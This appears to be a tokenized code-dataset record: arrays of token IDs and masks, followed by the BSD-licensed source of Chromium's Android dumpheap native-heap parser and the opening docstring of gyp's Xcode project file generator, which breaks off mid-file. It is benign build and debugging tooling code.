500, 63, 602, 12, 288, 283, 362, 63, 1375, 63, 1185, 356, 291, 423, 362, 63, 1375, 63, 1185, 12, 267, 3828, 267, 291, 14, 1100, 275, 1067, 339, 347, 663, 63, 1100, 8, 277, 12, 2251, 12, 666, 12, 2762, 12, 3622, 63, 466, 29, 403, 304, 267, 892, 63, 1580, 275, 2762, 267, 340, 334, 576, 459, 1238, 418, 508, 283, 723, 14, 1907, 14, 4470, 735, 288, 892, 63, 1580, 275, 283, 9019, 63, 2048, 63, 344, 7, 315, 666, 459, 964, 418, 436, 359, 576, 459, 964, 2545, 9019, 63, 2048, 63, 344, 6538, 503, 942, 288, 2251, 275, 291, 14, 2293, 14, 362, 360, 2048, 14, 2048, 1959, 4570, 8, 277, 14, 1556, 12, 291, 14, 1535, 12, 892, 63, 1580, 9, 267, 372, 1613, 8, 2048, 63, 7358, 12, 291, 680, 409, 63, 1100, 8, 1462, 12, 666, 12, 892, 63, 1580, 12, 3622, 63, 466, 29, 3070, 63, 466, 9, 339, 347, 485, 362, 63, 2048, 8, 277, 12, 666, 304, 267, 340, 666, 459, 1238, 418, 6803, 2048, 14, 2048, 356, 288, 372, 291, 14, 2293, 14, 362, 360, 2048, 14, 2048, 1959, 4570, 8, 277, 14, 1556, 12, 291, 14, 1535, 12, 666, 459, 964, 2545, 344, 13227, 4627, 63, 344, 14, 354, 267, 372, 1613, 8, 2048, 63, 7358, 2360, 277, 10445, 362, 63, 2048, 8, 576, 9, 339, 347, 2385, 8, 277, 12, 1824, 12, 2762, 29, 403, 12, 4224, 29, 403, 304, 267, 347, 485, 1412, 63, 1739, 8, 8370, 12, 9628, 63, 5470, 12, 1676, 304, 355, 2933, 63, 2761, 275, 359, 23015, 367, 29468, 315, 12639, 340, 29468, 459, 344, 418, 389, 1708, 1527, 16, 61, 355, 9952, 63, 1113, 275, 291, 14, 2293, 14, 362, 360, 470, 14, 4968, 358, 355, 6907, 63, 344, 275, 291, 14, 2293, 14, 362, 360, 2048, 14, 2048, 1959, 4570, 8, 277, 14, 1556, 12, 291, 14, 1535, 12, 2933, 63, 2761, 459, 344, 1105, 355, 9952, 275, 6907, 63, 344, 14, 4968, 63, 344, 436, 6907, 63, 344, 14, 4968, 63, 344, 503, 6907, 63, 344, 14, 4627, 63, 344, 14, 4968, 63, 344, 355, 522, 275, 469, 490, 283, 344, 356, 2933, 63, 2761, 459, 344, 995, 490, 283, 466, 356, 2933, 63, 2761, 459, 466, 995, 490, 283, 600, 356, 2933, 63, 2761, 459, 600, 995, 490, 283, 354, 356, 2933, 63, 2761, 459, 354, 995, 490, 283, 1896, 356, 2933, 63, 2761, 459, 1896, 995, 490, 283, 12964, 356, 2933, 63, 2761, 459, 12964, 995, 490, 283, 9365, 356, 2933, 63, 2761, 459, 9365, 995, 490, 283, 7358, 356, 2933, 63, 2761, 459, 7358, 995, 490, 283, 1708, 63, 344, 356, 2933, 63, 2761, 459, 1708, 63, 344, 995, 490, 283, 4982, 63, 466, 356, 3260, 355, 789, 355, 291, 14, 1838, 63, 12964, 847, 2933, 63, 2761, 459, 12964, 418, 355, 291, 14, 1838, 63, 9365, 847, 2933, 63, 2761, 459, 9365, 418, 355, 340, 9628, 63, 5470, 508, 283, 1185, 434, 356, 490, 340, 440, 9952, 63, 1113, 14, 374, 63, 4262, 8, 277, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
andykimpe/chromium-test-npapi
tools/memory_inspector/memory_inspector/backends/android/dumpheap_native_parser.py
19
4334
# Copyright 2014 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """This parser turns the am dumpheap -n output into a |NativeHeap| object.""" import logging import re from memory_inspector.core import native_heap from memory_inspector.core import memory_map from memory_inspector.core import stacktrace def Parse(lines): """Parses the output of Android's am dumpheap -n. am dumpheap dumps the oustanding malloc information (when the system property libc.debug.malloc == 1). The expected dumpheap output looks like this: ------------------------------------------------------------------------------ ... Some irrelevant banner lines ... z 0 sz 1000 num 3 bt 1234 5678 9abc ... ... MAPS 9dcd0000-9dcd6000 r-xp 00000000 103:00 815 /system/lib/libnbaio.so ... ------------------------------------------------------------------------------ The lines before MAPS list the allocations grouped by {size, backtrace}. In the example above, "1000" is the size of each alloc, "3" is their cardinality and "1234 5678 9abc" are the first N stack frames (absolute addresses in the process virtual address space). The lines after MAPS provide essentially the same information of /proc/PID/smaps. See tests/android_backend_test.py for a more complete example. Args: lines: array of strings containing the am dumpheap -n output. Returns: An instance of |native_heap.NativeHeap|. """ (STATE_PARSING_BACKTRACES, STATE_PARSING_MAPS, STATE_ENDED) = range(3) BT_RE = re.compile( r'^\w+\s+\d+\s+sz\s+(\d+)\s+num\s+(\d+)\s+bt\s+((?:[0-9a-f]+\s?)+)$') MAP_RE = re.compile( r'^([0-9a-f]+)-([0-9a-f]+)\s+....\s*([0-9a-f]+)\s+\w+:\w+\s+\d+\s*(.*)$') state = STATE_PARSING_BACKTRACES skip_first_n_lines = 5 mmap = memory_map.Map() nativeheap = native_heap.NativeHeap() for line in lines: line = line.rstrip('\r\n') if skip_first_n_lines > 0: skip_first_n_lines -= 1 continue if state == STATE_PARSING_BACKTRACES: if line == 'MAPS': state = STATE_PARSING_MAPS continue m = BT_RE.match(line) if not m: logging.warning('Skipping unrecognized dumpheap alloc: "%s"' % line) continue alloc_size = int(m.group(1)) alloc_count = int(m.group(2)) alloc_bt_str = m.group(3) strace = stacktrace.Stacktrace() # Keep only one |stacktrace.Frame| per distinct |absolute_addr|, in order # to ease the complexity of the final de-offset pass. for absolute_addr in alloc_bt_str.split(): absolute_addr = int(absolute_addr, 16) stack_frame = nativeheap.GetStackFrame(absolute_addr) strace.Add(stack_frame) nativeheap.Add(native_heap.Allocation(alloc_size, alloc_count, strace)) # The am dumpheap output contains also a list of mmaps. This information is # used in this module for the only purpose of normalizing addresses (i.e. # translating an absolute addr into its offset inside the mmap-ed library). # The mmap information is not further retained. A more complete mmap dump is # performed (and retained) using the memdump tool (see memdump_parser.py). elif state == STATE_PARSING_MAPS: if line == 'END': state = STATE_ENDED continue m = MAP_RE.match(line) if not m: logging.warning('Skipping unrecognized dumpheap mmap: "%s"' % line) continue mmap.Add(memory_map.MapEntry( start=int(m.group(1), 16), end=int(m.group(2), 16), prot_flags='----', # Not really needed for lookup mapped_file=m.group(4), mapped_offset=int(m.group(3), 16))) elif state == STATE_ENDED: pass else: assert(False) # Final pass: translate all the stack frames' absolute addresses into # relative offsets (exec_file + offset) using the memory maps just processed. for abs_addr, stack_frame in nativeheap.stack_frames.iteritems(): assert(abs_addr == stack_frame.address) map_entry = mmap.Lookup(abs_addr) if not map_entry: continue stack_frame.SetExecFileInfo(map_entry.mapped_file, map_entry.GetRelativeOffset(abs_addr)) return nativeheap
bsd-3-clause
[ 3, 1898, 6927, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 2765, 1798, 25449, 314, 8140, 5461, 12492, 446, 78, 1072, 1901, 282, 1204, 19675, 19777, 92, 909, 1041, 199, 199, 646, 2050, 199, 646, 295, 199, 199, 504, 4402, 63, 26047, 14, 1018, 492, 5438, 63, 12492, 199, 504, 4402, 63, 26047, 14, 1018, 492, 4402, 63, 1130, 199, 504, 4402, 63, 26047, 14, 1018, 492, 3464, 3446, 421, 199, 318, 6077, 8, 1278, 304, 523, 408, 23400, 314, 1072, 402, 14694, 1159, 8140, 5461, 12492, 446, 78, 14, 819, 8140, 5461, 12492, 16864, 314, 312, 833, 460, 316, 333, 9373, 2556, 334, 6526, 314, 2656, 3324, 523, 1973, 67, 14, 1757, 14, 23981, 508, 413, 680, 819, 710, 1420, 5461, 12492, 1072, 10734, 2839, 642, 26, 523, 5620, 10965, 523, 2263, 6601, 8190, 21906, 20997, 2385, 2263, 523, 1315, 378, 221, 17176, 259, 5198, 257, 1967, 259, 650, 221, 22342, 14763, 959, 17237, 1749, 3175, 2263, 523, 2263, 523, 603, 1282, 51, 523, 1749, 68, 2866, 993, 13, 25, 68, 2866, 32623, 519, 13, 9290, 378, 9084, 22363, 26, 383, 1695, 1046, 755, 1182, 2253, 15, 773, 15, 773, 78, 2470, 2308, 14, 1152, 523, 2263, 523, 5620, 10965, 523, 710, 2385, 2544, 603, 1282, 51, 769, 314, 741, 8022, 16251, 701, 469, 890, 12, 1771, 3446, 5565, 1010, 523, 314, 2893, 3432, 12, 298, 5279, 2, 365, 314, 1568, 402, 1924, 29447, 12, 298, 19, 2, 365, 3932, 12564, 15664, 523, 436, 298, 4321, 959, 17237, 1749, 3175, 2, 787, 314, 1642, 653, 3464, 11223, 334, 6116, 7149, 315, 314, 523, 2112, 5791, 2287, 4601, 680, 221, 710, 2385, 2410, 603, 1282, 51, 5647, 28891, 314, 523, 2011, 2556, 402, 1182, 4687, 15, 16098, 15, 83, 8919, 14, 523, 1666, 2295, 15, 6238, 63, 4620, 63, 396, 14, 647, 367, 282, 1655, 4890, 2893, 14, 819, 3033, 26, 489, 2385, 26, 1625, 402, 3326, 3035, 314, 8140, 5461, 12492, 446, 78, 1072, 14, 819, 1803, 26, 489, 1626, 1256, 402, 1204, 6106, 63, 12492, 14, 19675, 19777, 18257, 523, 408, 523, 334, 6689, 63, 4014, 12567, 63, 7111, 1766, 21287, 12, 11377, 63, 4014, 12567, 63, 5443, 51, 12, 11377, 63, 25518, 9, 275, 1425, 8, 19, 9, 523, 699, 52, 63, 907, 275, 295, 14, 2014, 8, 489, 519, 15542, 87, 7896, 83, 7896, 68, 7896, 83, 11, 11803, 60, 83, 20900, 68, 13439, 83, 11, 1507, 60, 83, 20900, 68, 13439, 83, 11, 13061, 60, 83, 11, 17304, 7766, 16, 13, 25, 65, 13, 70, 24621, 83, 31, 6393, 9, 9988, 523, 603, 1282, 63, 907, 275, 295, 14, 2014, 8, 489, 519, 4289, 779, 16, 13, 25, 65, 13, 70, 2807, 7216, 779, 16, 13, 25, 65, 13, 70, 18096, 83, 11, 4496, 60, 83, 10, 779, 16, 13, 25, 65, 13, 70, 18096, 83, 7896, 87, 11, 3427, 87, 7896, 83, 7896, 68, 7896, 83, 5830, 12432, 9988, 819, 1174, 275, 11377, 63, 4014, 12567, 63, 7111, 1766, 21287, 523, 3372, 63, 2246, 63, 78, 63, 1278, 275, 959, 523, 21991, 275, 4402, 63, 1130, 14, 2956, 342, 523, 5438, 12492, 275, 5438, 63, 12492, 14, 19675, 19777, 342, 819, 367, 1004, 315, 2385, 26, 272, 1004, 275, 1004, 14, 6735, 2258, 82, 60, 78, 358, 272, 340, 3372, 63, 2246, 63, 78, 63, 1278, 690, 378, 26, 489, 3372, 63, 2246, 63, 78, 63, 1278, 4862, 413, 489, 1980, 339, 340, 1174, 508, 11377, 63, 4014, 12567, 63, 7111, 1766, 21287, 26, 489, 340, 1004, 508, 283, 5443, 51, 356, 267, 1174, 275, 11377, 63, 4014, 12567, 63, 5443, 51, 267, 1980, 489, 333, 275, 699, 52, 63, 907, 14, 1431, 8, 604, 9, 489, 340, 440, 333, 26, 267, 2050, 14, 3764, 360, 18297, 24718, 5461, 12492, 29447, 26, 2071, 83, 4507, 450, 1004, 9, 267, 1980, 489, 29447, 63, 890, 275, 1109, 8, 77, 14, 923, 8, 17, 430, 489, 29447, 63, 835, 275, 1109, 8, 77, 14, 923, 8, 18, 430, 489, 29447, 63, 13061, 63, 495, 275, 333, 14, 923, 8, 19, 9, 489, 410, 5986, 275, 3464, 3446, 14, 4851, 3446, 342, 489, 327, 14797, 1454, 1373, 1204, 32274, 14, 3160, 92, 1126, 15392, 1204, 6116, 63, 2697, 18712, 315, 1865, 489, 327, 370, 325, 482, 314, 6114, 1209, 402, 314, 4242, 477, 13, 2743, 986, 14, 489, 367, 3679, 63, 2697, 315, 29447, 63, 13061, 63, 495, 14, 1294, 837, 267, 3679, 63, 2697, 275, 1109, 8, 6116, 63, 2697, 12, 3193, 9, 267, 3464, 63, 1943, 275, 5438, 12492, 14, 1002, 4851, 3160, 8, 6116, 63, 2697, 9, 267, 410, 5986, 14, 1123, 8, 2340, 63, 1943, 9, 489, 5438, 12492, 14, 1123, 8, 6106, 63, 12492, 14, 17794, 8, 9373, 63, 890, 12, 29447, 63, 835, 12, 410, 5986, 430, 339, 327, 710, 8140, 5461, 12492, 1072, 3509, 2597, 282, 769, 402, 333, 8919, 14, 961, 2556, 365, 272, 327, 1202, 315, 642, 859, 367, 314, 1454, 12016, 402, 3293, 9147, 7149, 334, 73, 14, 69, 14, 272, 327, 1752, 24615, 376, 3679, 5552, 1901, 2399, 3268, 6272, 314, 21991, 13, 379, 3555, 680, 272, 327, 710, 21991, 2556, 365, 440, 9848, 30403, 14, 437, 1655, 4890, 21991, 5461, 365, 272, 327, 10585, 334, 460, 30403, 9, 1808, 314, 562, 1064, 1220, 4744, 334, 3239, 562, 1064, 1220, 63, 2087, 14, 647, 680, 272, 916, 1174, 508, 11377, 63, 4014, 12567, 63, 5443, 51, 26, 489, 340, 1004, 508, 283, 3902, 356, 267, 1174, 275, 11377, 63, 25518, 267, 1980, 489, 333, 275, 603, 1282, 63, 907, 14, 1431, 8, 604, 9, 489, 340, 440, 333, 26, 267, 2050, 14, 3764, 360, 18297, 24718, 5461, 12492, 21991, 26, 2071, 83, 4507, 450, 1004, 9, 267, 1980, 489, 21991, 14, 1123, 8, 4844, 63, 1130, 14, 2956, 3900, 8, 881, 1343, 29, 442, 8, 77, 14, 923, 8, 17, 395, 3193, 395, 881, 1284, 29, 442, 8, 77, 14, 923, 8, 18, 395, 3193, 395, 881, 557, 84, 63, 2469 ]
[ 1898, 6927, 710, 12051, 6642, 14, 2900, 4481, 4644, 14, 199, 3, 3645, 402, 642, 1350, 1233, 365, 10413, 701, 282, 6289, 13, 2487, 4190, 626, 883, 506, 199, 3, 1911, 315, 314, 5113, 570, 14, 199, 199, 624, 2765, 1798, 25449, 314, 8140, 5461, 12492, 446, 78, 1072, 1901, 282, 1204, 19675, 19777, 92, 909, 1041, 199, 199, 646, 2050, 199, 646, 295, 199, 199, 504, 4402, 63, 26047, 14, 1018, 492, 5438, 63, 12492, 199, 504, 4402, 63, 26047, 14, 1018, 492, 4402, 63, 1130, 199, 504, 4402, 63, 26047, 14, 1018, 492, 3464, 3446, 421, 199, 318, 6077, 8, 1278, 304, 523, 408, 23400, 314, 1072, 402, 14694, 1159, 8140, 5461, 12492, 446, 78, 14, 819, 8140, 5461, 12492, 16864, 314, 312, 833, 460, 316, 333, 9373, 2556, 334, 6526, 314, 2656, 3324, 523, 1973, 67, 14, 1757, 14, 23981, 508, 413, 680, 819, 710, 1420, 5461, 12492, 1072, 10734, 2839, 642, 26, 523, 5620, 10965, 523, 2263, 6601, 8190, 21906, 20997, 2385, 2263, 523, 1315, 378, 221, 17176, 259, 5198, 257, 1967, 259, 650, 221, 22342, 14763, 959, 17237, 1749, 3175, 2263, 523, 2263, 523, 603, 1282, 51, 523, 1749, 68, 2866, 993, 13, 25, 68, 2866, 32623, 519, 13, 9290, 378, 9084, 22363, 26, 383, 1695, 1046, 755, 1182, 2253, 15, 773, 15, 773, 78, 2470, 2308, 14, 1152, 523, 2263, 523, 5620, 10965, 523, 710, 2385, 2544, 603, 1282, 51, 769, 314, 741, 8022, 16251, 701, 469, 890, 12, 1771, 3446, 5565, 1010, 523, 314, 2893, 3432, 12, 298, 5279, 2, 365, 314, 1568, 402, 1924, 29447, 12, 298, 19, 2, 365, 3932, 12564, 15664, 523, 436, 298, 4321, 959, 17237, 1749, 3175, 2, 787, 314, 1642, 653, 3464, 11223, 334, 6116, 7149, 315, 314, 523, 2112, 5791, 2287, 4601, 680, 221, 710, 2385, 2410, 603, 1282, 51, 5647, 28891, 314, 523, 2011, 2556, 402, 1182, 4687, 15, 16098, 15, 83, 8919, 14, 523, 1666, 2295, 15, 6238, 63, 4620, 63, 396, 14, 647, 367, 282, 1655, 4890, 2893, 14, 819, 3033, 26, 489, 2385, 26, 1625, 402, 3326, 3035, 314, 8140, 5461, 12492, 446, 78, 1072, 14, 819, 1803, 26, 489, 1626, 1256, 402, 1204, 6106, 63, 12492, 14, 19675, 19777, 18257, 523, 408, 523, 334, 6689, 63, 4014, 12567, 63, 7111, 1766, 21287, 12, 11377, 63, 4014, 12567, 63, 5443, 51, 12, 11377, 63, 25518, 9, 275, 1425, 8, 19, 9, 523, 699, 52, 63, 907, 275, 295, 14, 2014, 8, 489, 519, 15542, 87, 7896, 83, 7896, 68, 7896, 83, 11, 11803, 60, 83, 20900, 68, 13439, 83, 11, 1507, 60, 83, 20900, 68, 13439, 83, 11, 13061, 60, 83, 11, 17304, 7766, 16, 13, 25, 65, 13, 70, 24621, 83, 31, 6393, 9, 9988, 523, 603, 1282, 63, 907, 275, 295, 14, 2014, 8, 489, 519, 4289, 779, 16, 13, 25, 65, 13, 70, 2807, 7216, 779, 16, 13, 25, 65, 13, 70, 18096, 83, 11, 4496, 60, 83, 10, 779, 16, 13, 25, 65, 13, 70, 18096, 83, 7896, 87, 11, 3427, 87, 7896, 83, 7896, 68, 7896, 83, 5830, 12432, 9988, 819, 1174, 275, 11377, 63, 4014, 12567, 63, 7111, 1766, 21287, 523, 3372, 63, 2246, 63, 78, 63, 1278, 275, 959, 523, 21991, 275, 4402, 63, 1130, 14, 2956, 342, 523, 5438, 12492, 275, 5438, 63, 12492, 14, 19675, 19777, 342, 819, 367, 1004, 315, 2385, 26, 272, 1004, 275, 1004, 14, 6735, 2258, 82, 60, 78, 358, 272, 340, 3372, 63, 2246, 63, 78, 63, 1278, 690, 378, 26, 489, 3372, 63, 2246, 63, 78, 63, 1278, 4862, 413, 489, 1980, 339, 340, 1174, 508, 11377, 63, 4014, 12567, 63, 7111, 1766, 21287, 26, 489, 340, 1004, 508, 283, 5443, 51, 356, 267, 1174, 275, 11377, 63, 4014, 12567, 63, 5443, 51, 267, 1980, 489, 333, 275, 699, 52, 63, 907, 14, 1431, 8, 604, 9, 489, 340, 440, 333, 26, 267, 2050, 14, 3764, 360, 18297, 24718, 5461, 12492, 29447, 26, 2071, 83, 4507, 450, 1004, 9, 267, 1980, 489, 29447, 63, 890, 275, 1109, 8, 77, 14, 923, 8, 17, 430, 489, 29447, 63, 835, 275, 1109, 8, 77, 14, 923, 8, 18, 430, 489, 29447, 63, 13061, 63, 495, 275, 333, 14, 923, 8, 19, 9, 489, 410, 5986, 275, 3464, 3446, 14, 4851, 3446, 342, 489, 327, 14797, 1454, 1373, 1204, 32274, 14, 3160, 92, 1126, 15392, 1204, 6116, 63, 2697, 18712, 315, 1865, 489, 327, 370, 325, 482, 314, 6114, 1209, 402, 314, 4242, 477, 13, 2743, 986, 14, 489, 367, 3679, 63, 2697, 315, 29447, 63, 13061, 63, 495, 14, 1294, 837, 267, 3679, 63, 2697, 275, 1109, 8, 6116, 63, 2697, 12, 3193, 9, 267, 3464, 63, 1943, 275, 5438, 12492, 14, 1002, 4851, 3160, 8, 6116, 63, 2697, 9, 267, 410, 5986, 14, 1123, 8, 2340, 63, 1943, 9, 489, 5438, 12492, 14, 1123, 8, 6106, 63, 12492, 14, 17794, 8, 9373, 63, 890, 12, 29447, 63, 835, 12, 410, 5986, 430, 339, 327, 710, 8140, 5461, 12492, 1072, 3509, 2597, 282, 769, 402, 333, 8919, 14, 961, 2556, 365, 272, 327, 1202, 315, 642, 859, 367, 314, 1454, 12016, 402, 3293, 9147, 7149, 334, 73, 14, 69, 14, 272, 327, 1752, 24615, 376, 3679, 5552, 1901, 2399, 3268, 6272, 314, 21991, 13, 379, 3555, 680, 272, 327, 710, 21991, 2556, 365, 440, 9848, 30403, 14, 437, 1655, 4890, 21991, 5461, 365, 272, 327, 10585, 334, 460, 30403, 9, 1808, 314, 562, 1064, 1220, 4744, 334, 3239, 562, 1064, 1220, 63, 2087, 14, 647, 680, 272, 916, 1174, 508, 11377, 63, 4014, 12567, 63, 5443, 51, 26, 489, 340, 1004, 508, 283, 3902, 356, 267, 1174, 275, 11377, 63, 25518, 267, 1980, 489, 333, 275, 603, 1282, 63, 907, 14, 1431, 8, 604, 9, 489, 340, 440, 333, 26, 267, 2050, 14, 3764, 360, 18297, 24718, 5461, 12492, 21991, 26, 2071, 83, 4507, 450, 1004, 9, 267, 1980, 489, 21991, 14, 1123, 8, 4844, 63, 1130, 14, 2956, 3900, 8, 881, 1343, 29, 442, 8, 77, 14, 923, 8, 17, 395, 3193, 395, 881, 1284, 29, 442, 8, 77, 14, 923, 8, 18, 395, 3193, 395, 881, 557, 84, 63, 2469, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
sharaf84/digi
shared/themes/frontend/node_modules/gulp-sass/node_modules/node-sass/node_modules/pangyp/gyp/pylib/gyp/xcodeproj_file.py
505
118664
# Copyright (c) 2012 Google Inc. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. """Xcode project file generator. This module is both an Xcode project file generator and a documentation of the Xcode project file format. Knowledge of the project file format was gained based on extensive experience with Xcode, and by making changes to projects in Xcode.app and observing the resultant changes in the associated project files. XCODE PROJECT FILES The generator targets the file format as written by Xcode 3.2 (specifically, 3.2.6), but past experience has taught that the format has not changed significantly in the past several years, and future versions of Xcode are able to read older project files. Xcode project files are "bundled": the project "file" from an end-user's perspective is actually a directory with an ".xcodeproj" extension. The project file from this module's perspective is actually a file inside this directory, always named "project.pbxproj". This file contains a complete description of the project and is all that is needed to use the xcodeproj. Other files contained in the xcodeproj directory are simply used to store per-user settings, such as the state of various UI elements in the Xcode application. The project.pbxproj file is a property list, stored in a format almost identical to the NeXTstep property list format. The file is able to carry Unicode data, and is encoded in UTF-8. The root element in the property list is a dictionary that contains several properties of minimal interest, and two properties of immense interest. The most important property is a dictionary named "objects". The entire structure of the project is represented by the children of this property. The objects dictionary is keyed by unique 96-bit values represented by 24 uppercase hexadecimal characters. Each value in the objects dictionary is itself a dictionary, describing an individual object. Each object in the dictionary is a member of a class, which is identified by the "isa" property of each object. A variety of classes are represented in a project file. Objects can refer to other objects by ID, using the 24-character hexadecimal object key. A project's objects form a tree, with a root object of class PBXProject at the root. As an example, the PBXProject object serves as parent to an XCConfigurationList object defining the build configurations used in the project, a PBXGroup object serving as a container for all files referenced in the project, and a list of target objects, each of which defines a target in the project. There are several different types of target object, such as PBXNativeTarget and PBXAggregateTarget. In this module, this relationship is expressed by having each target type derive from an abstract base named XCTarget. The project.pbxproj file's root dictionary also contains a property, sibling to the "objects" dictionary, named "rootObject". The value of rootObject is a 24-character object key referring to the root PBXProject object in the objects dictionary. In Xcode, every file used as input to a target or produced as a final product of a target must appear somewhere in the hierarchy rooted at the PBXGroup object referenced by the PBXProject's mainGroup property. A PBXGroup is generally represented as a folder in the Xcode application. PBXGroups can contain other PBXGroups as well as PBXFileReferences, which are pointers to actual files. Each XCTarget contains a list of build phases, represented in this module by the abstract base XCBuildPhase. Examples of concrete XCBuildPhase derivations are PBXSourcesBuildPhase and PBXFrameworksBuildPhase, which correspond to the "Compile Sources" and "Link Binary With Libraries" phases displayed in the Xcode application. Files used as input to these phases (for example, source files in the former case and libraries and frameworks in the latter) are represented by PBXBuildFile objects, referenced by elements of "files" lists in XCTarget objects. Each PBXBuildFile object refers to a PBXBuildFile object as a "weak" reference: it does not "own" the PBXBuildFile, which is owned by the root object's mainGroup or a descendant group. In most cases, the layer of indirection between an XCBuildPhase and a PBXFileReference via a PBXBuildFile appears extraneous, but there's actually one reason for this: file-specific compiler flags are added to the PBXBuildFile object so as to allow a single file to be a member of multiple targets while having distinct compiler flags for each. These flags can be modified in the Xcode applciation in the "Build" tab of a File Info window. When a project is open in the Xcode application, Xcode will rewrite it. As such, this module is careful to adhere to the formatting used by Xcode, to avoid insignificant changes appearing in the file when it is used in the Xcode application. This will keep version control repositories happy, and makes it possible to compare a project file used in Xcode to one generated by this module to determine if any significant changes were made in the application. Xcode has its own way of assigning 24-character identifiers to each object, which is not duplicated here. Because the identifier only is only generated once, when an object is created, and is then left unchanged, there is no need to attempt to duplicate Xcode's behavior in this area. The generator is free to select any identifier, even at random, to refer to the objects it creates, and Xcode will retain those identifiers and use them when subsequently rewriting the project file. However, the generator would choose new random identifiers each time the project files are generated, leading to difficulties comparing "used" project files to "pristine" ones produced by this module, and causing the appearance of changes as every object identifier is changed when updated projects are checked in to a version control repository. To mitigate this problem, this module chooses identifiers in a more deterministic way, by hashing a description of each object as well as its parent and ancestor objects. This strategy should result in minimal "shift" in IDs as successive generations of project files are produced. THIS MODULE This module introduces several classes, all derived from the XCObject class. Nearly all of the "brains" are built into the XCObject class, which understands how to create and modify objects, maintain the proper tree structure, compute identifiers, and print objects. For the most part, classes derived from XCObject need only provide a _schema class object, a dictionary that expresses what properties objects of the class may contain. Given this structure, it's possible to build a minimal project file by creating objects of the appropriate types and making the proper connections: config_list = XCConfigurationList() group = PBXGroup() project = PBXProject({'buildConfigurationList': config_list, 'mainGroup': group}) With the project object set up, it can be added to an XCProjectFile object. XCProjectFile is a pseudo-class in the sense that it is a concrete XCObject subclass that does not actually correspond to a class type found in a project file. Rather, it is used to represent the project file's root dictionary. Printing an XCProjectFile will print the entire project file, including the full "objects" dictionary. project_file = XCProjectFile({'rootObject': project}) project_file.ComputeIDs() project_file.Print() Xcode project files are always encoded in UTF-8. This module will accept strings of either the str class or the unicode class. Strings of class str are assumed to already be encoded in UTF-8. Obviously, if you're just using ASCII, you won't encounter difficulties because ASCII is a UTF-8 subset. Strings of class unicode are handled properly and encoded in UTF-8 when a project file is output. """ import gyp.common import posixpath import re import struct import sys # hashlib is supplied as of Python 2.5 as the replacement interface for sha # and other secure hashes. In 2.6, sha 